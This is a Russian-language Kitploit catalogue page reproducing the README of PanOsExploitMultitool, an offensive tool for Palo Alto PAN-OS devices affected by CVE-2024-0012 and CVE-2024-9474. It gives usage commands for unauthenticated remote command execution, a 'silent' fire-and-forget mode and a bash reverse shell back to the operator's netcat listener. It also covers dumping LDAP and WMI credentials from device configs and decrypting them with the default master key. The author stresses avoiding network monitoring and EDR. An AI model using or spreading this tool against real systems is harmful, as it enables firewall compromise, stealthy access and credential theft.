Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PanOsExploitMultitool — Мультитул для эксплуатации и пост-эксплуатации для систем Palo Alto PAN-OS, подверженных уязвимостям CVE-2024-0012 и CVE-2024-9474 | Kitploit
Инструменты/GitHubGitHub/regent8sh/panosexploitmultitool
Инструменты шифрования/дешифрованияАнализ уязвимостейЭксплуатацияПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеRed TeamingИнструмент Удаленного Доступа

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
regent8sh/panosexploitmultitool

PanOsExploitMultitool

Мультитул для эксплуатации и пост-эксплуатации для систем Palo Alto PAN-OS, подверженных уязвимостям CVE-2024-0012 и CVE-2024-9474

Репозиторий
612 месяцев назадЕщё не проверено

PanOsExploitMultitool

Мультитул для эксплуатации и пост-эксплуатации систем Palo Alto PAN-OS, подверженных уязвимостям CVE-2024-0012 и CVE-2024-9474

В ходе ранней эксплуатации уязвимостей удалённого выполнения кода CVE-2024-0012 и CVE-2024-9474 я получил оболочку и начал выявлять конфигурационные файлы, содержащие необычные строки в различных полях паролей. Поскольку это явно были не распространённые хэш-форматы, мы с командой начали изучать этот вопрос и быстро обнаружили консультацию по безопасности на сайте ThreatLabs, в которой упоминалось, что учётные данные PAN-OS шифруются (шифровались?) с использованием общеизвестного мастер-ключа по умолчанию. Хотя этот мастер-ключ можно изменить в конфигурации устройства, я выяснил, что мастер-ключ по умолчанию используется во всех случаях, когда я сталкивался с этими уязвимостями. Разрабатывая этот инструмент, я ставлю целью создать простой способ эксплуатации этих уязвимостей, выполнения пост-эксплуатации и сбора учётных данных, а также получения учётных данных в открытом виде полностью через зашифрованный HTTPS-трафик, без необходимости в постоянных соединениях, которые могут быть обнаружены системами мониторинга сети и трафика.

В настоящее время поддерживается автоматическое получение и расшифровка учётных данных LDAP и WMI, хотя я сталкивался с редкими случаями, когда строки секретов шифруются внутри конфигурационных файлов с нестандартными именами XML-полей. Сейчас я работаю над выявлением причин этих уникальных случаев, чтобы обеспечить полную поддержку. Обратите внимание, что разработка продолжается.

Установка

Перед использованием убедитесь, что все необходимые зависимости установлены, выполнив команду, например:

root@kitploit:~
pip3 install -r requirements.txt

Проверка

Команда "check" позволяет проверить, уязвима ли удалённая цель для CVE-2024-0012. При указании удалённого хоста по его IP-адресу обязательно используйте аргумент --no-verify. Пример:

root@kitploit:~
python3 PanOsExploitMultitool.py check -t {TARGET} --no-verify

image

Команда

Команда "command" позволяет эксплуатировать CVE-2024-0012 и CVE-2024-9474 на удалённой цели для выполнения вручную заданной команды и получения её вывода через веб-интерфейс. Как и в командах dump и shell, предоставленная команда разбивается на блоки, достаточно малые для размещения в уязвимости внедрения команд CVE-2024-9474, записывается во временный файл оболочки в каталоге с возможностью записи (по умолчанию /var/tmp/), а затем выполняется на цели. Результат записывается во временный PHP-файл в /var/appweb/htdocs{remote_dir}, извлекается по HTTPS, выводится в консоль и автоматически очищается, если не указан аргумент --no-cleanup. Опять же, не забудьте --no-verify, когда это необходимо.

root@kitploit:~
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}'
image

Тихая команда

Необязательный флаг --silentcommand выполняет указанную команду тем же методом разбиения и внедрения, что и выше, но без перенаправления вывода в веб-доступный файл и без выполнения запроса на получение. Это полезно для действий типа "запустил и забыл", когда вывод не требуется, или когда приоритетом является минимизация количества веб-запросов и создаваемых на цели файлов. Поскольку файл вывода не записывается в веб-путь, очистка удаляет только временные файлы фрагментов полезной нагрузки из каталога с возможностью записи — файл .php для вывода отсутствует.

root@kitploit:~
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}' --silentcommand

Оболочка

Команда "shell" позволяет эксплуатировать CVE-2024-0012 и CVE-2024-9474 на удалённой цели для получения обратной оболочки на удалённом хосте. По сути, эта команда создаёт стандартную полезную нагрузку обратной оболочки bash, кодирует её в base64, разбивает закодированный BLOB на блоки, достаточно малые для размещения в уязвимости внедрения команд CVE-2024-9474, а затем выполняет команды для записи каждого блока в файлы в каталоге с возможностью записи (по умолчанию /var/tmp/). После полного сохранения этих блоков они объединяются в один файл оболочки и выполняются на хосте, что должно установить соединение с отдельным слушателем netcat (nc -nvlp {PORT}). Обратите внимание: в настоящее время тайм-аут, вызванный постоянным соединением обратной оболочки, предотвращает очистку файлов, поэтому вам нужно запомнить случайное имя файла, выведенное в начале работы инструмента, и очистить его из {writable_dir} и /var/appweb/htdocs{remote_dir}. Я исправлю это в следующей версии, но пока не добрался. Опять же, не забудьте --no-verify, когда это необходимо.

root@kitploit:~
nc -nvlp {PORT}

python3 PanOsExploitMultitool.py shell -t {TARGET} --lhost {LOCAL IP} --lport {LOCAL PORT} --no-verify

image image

Дамп

Это была моя основная цель в этом проекте и главная причина, по которой я хотел создать этот инструмент. Поскольку большинство материалов и инструментов, связанных с этими уязвимостями, касаются удалённого выполнения кода, я не нашёл много примеров описания полезных шагов пост-эксплуатации после этой точки. С помощью команды dump вы можете не только удалённо получать и расшифровывать учётные данные, но и делать это полностью через небольшое количество зашифрованных (HTTPS) веб-запросов без необходимости постоянных соединений. Поскольку на устройствах PAN-OS значительно реже встречаются какие-либо решения EDR/MDR/IDR/XDR/?DR, это особенно эффективно в операциях красных команд.

Команда dump использует аналогичный метод разбиения и выполнения, как и команда shell, но вместо инициирования обратной оболочки она извлекает зашифрованные учётные данные из конфигурационных файлов устройства (расположенных в /opt/pancfg/mgmt/saved-configs/) и затем автоматически расшифровывает идентифицированные пароли с использованием общеизвестного мастер-ключа. Команда dump также удаляет все созданные файлы после расшифровки, если вы не укажете аргумент --no-cleanup. Как всегда, не забудьте --no-verify, когда это необходимо.

root@kitploit:~
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify
image

Кроме того, я добавил необязательный аргумент --full-running-config, который можно использовать для получения всего XML-содержимого текущей рабочей конфигурации и сохранения его в локальный файл. Сохранённый файл имеет имя в формате running-config.{TARGET}.{TIMESTAMP}.xml (например, running-config.192.168.1.1.20260516_143022.xml), где временная метка отражает время получения. Это предотвращает перезапись предыдущих дампов конфигурации при повторной обработке одного и того же устройства. Хотя я рекомендую проверять и другие файлы, так как в нескольких случаях предыдущие/другие конфигурационные файлы содержали уникальные зашифрованные учётные данные, этот аргумент может быть хорошим способом проверить наличие дополнительных учётных данных, которые не были автоматически обнаружены и расшифрованы. Кроме того, вы можете выполнить локальную обработку любых локальных XML-файлов конфигурации с помощью команды Local, которая описана ниже.

root@kitploit:~
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify --full-running-config
image

Локальный

Команда local очень проста, и её использование в первую очередь предназначено для случаев, когда вы получили полный XML-файл конфигурации (например, с помощью аргумента --full-running-config команды dump) или уже получили оболочку на устройстве PAN-OS и скопировали или вывели содержимое XML-файлов конфигурации с устройства (расположенных в /opt/pancfg/mgmt/saved-configs/). Она выполняет ту же логику и автоматическую расшифровку учётных данных, но из указанного локального файла. Поддерживает все типы зашифрованных учётных данных, включая LDAP и WMI, для любых имён XML-тегов.

root@kitploit:~
python3 PanOsExploitMultitool.py local -f {FILE}

image

Расшифровка

Наконец, команда decrypt позволяет расшифровывать необработанные строки с использованием общеизвестного мастер-ключа. Это полезно в уникальных сценариях, например, когда зашифрованные строки учётных данных обнаруживаются в файле прошлой конфигурации, но перед ними нет имён пользователей, или когда вы хотите вручную проверить строку учётных данных, извлечённую другим методом. Эти строки можно вводить непосредственно в терминал, причём они могут приниматься как в полном формате -AQ..........==, так и просто в виде конечного base64-закодированного блока.

root@kitploit:~
python3 PanOsExploitMultitool.py decrypt

image

Ссылки

Пожалуйста, ознакомьтесь с материалами, модулями и консультациями ниже, которые использовались при исследовании и разработке этого проекта.

"Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474", WatchTowr Labs: https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

"panos_management_unauth_rce.rb", Stephen Fewer @ Rapid7: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/panos_management_unauth_rce.rb

"Advisory - PAN-OS - AES256-CBC & SHA1", Threatlabs: https://threatlabs.eu/advisories/TL23-PA-SSTWMX/

Скачать инструмент